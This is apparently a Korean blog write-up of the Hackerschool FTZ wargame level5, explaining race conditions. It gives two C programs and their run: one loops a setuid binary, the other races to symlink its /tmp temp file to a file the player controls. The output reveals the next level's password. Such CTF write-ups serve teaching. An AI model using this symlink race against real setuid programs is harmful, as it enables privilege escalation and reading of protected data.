FTZ_level5
hint의 내용을 먼저 보겠습니다.
[level5@ftz level5]$ cat hint
/usr/bin/level5 프로그램은 /tmp 디렉토리에 level5.tmp 라는 이름의 임시파일을 생성한다.
이를 이용하여 level6의 권한을 얻어라.
|
이 문제는 레이스 컨디션문제네요
레이스 컨디션 공격이란.. 여러 프로세스가 한정된 자원을 사용하기 위해 경쟁하는 상태를 이용하여
프로그램 중간에 자신이 원하는 작업을 하는 것을 말합니다.
[level5@ftz level5]$ ls -l /usr/bin/level5 -rws--x--- 1 level6 level5 12236 6월 5 08:48 /usr/bin/level5 [level5@ftz level5]$ /usr/bin/level5 [level5@ftz level5]$ ls /tmp/level5.tmp ls: /tmp/level5.tmp: 그런 파일이나 디렉토리가 없음 |
/usr/bin/level5를 실행해보니 /tmp/level5.tmp가 없네요.. 임시파일은 금방 지워버리는듯 합니다.
레이스 컨디션을 이용해 이 문제를 풀기 위해서는 2가지 프로그램을 만들어야 합니다.
먼저, /usr/bin/level5를 반복해서 실행하는 프로그램 A와
A가 실행되는동안 반복적으로 /tmp/level5.tmp 파일에 심볼릭 링크를 걸어주는 B 프로그램입니다.
이 과정을 반복적으로 하는 이유는
A가 실행되는 도중에( 임시파일 생성후 지우기 직전 ) B를 실행시키는 타이밍을 맞추기 위함입니다.
해당 임시파일이 지워지더라도 링크가 걸린 파일을 통해 임시파일을 확인할 수 있겠네요.
[level5@ftz tmp]$ cat a.c #include <stdio.h>
int main(void) { int i; for(i=0; i<10000; i++){ system("/usr/bin/level5 &"); } } [level5@ftz tmp]$ cat b.c #include <stdio.h>
int main(void) { int i; system("touch /tmp/level5.attack"); for(i=0; i<200; i++){ system("ln -s /tmp/level5.attack /tmp/level5.tmp"); } system("cat /tmp/level5.attack"); } |
a.c 의 내용중 & 표시는 ‘프로그램을 백그라운드로 실행하라!’ 라는 의미 입니다.
코드를 컴파일한 후, 실행해 보겠습니다.
[level5@ftz tmp]$ gcc -o a a.c [level5@ftz tmp]$ gcc -o b b.c [level5@ftz tmp]$ ./a & [1] 24988 [level5@ftz tmp]$ ./b ln: `/tmp/level5.tmp': 파일이 존재합니다 ln: `/tmp/level5.tmp': 파일이 존재합니다 …생략… next password : what the hell |
패스워드가 보이네요ㅎㅎ
'System Hacking > 해커스쿨 FTZ' 카테고리의 다른 글
해커스쿨 FTZ ( level6 -> level7 ) by ORANG (0) | 2014.10.20 |
---|---|
해커스쿨 FTZ ( level5 -> level6 ) 2 by ORANG (0) | 2014.10.20 |
해커스쿨 FTZ ( level4 -> level5 ) by ORANG (0) | 2014.10.20 |
해커스쿨 FTZ ( level3 -> level4 ) by ORANG (0) | 2014.10.20 |
해커스쿨 FTZ ( level2 -> level3 ) by ORANG (0) | 2014.10.20 |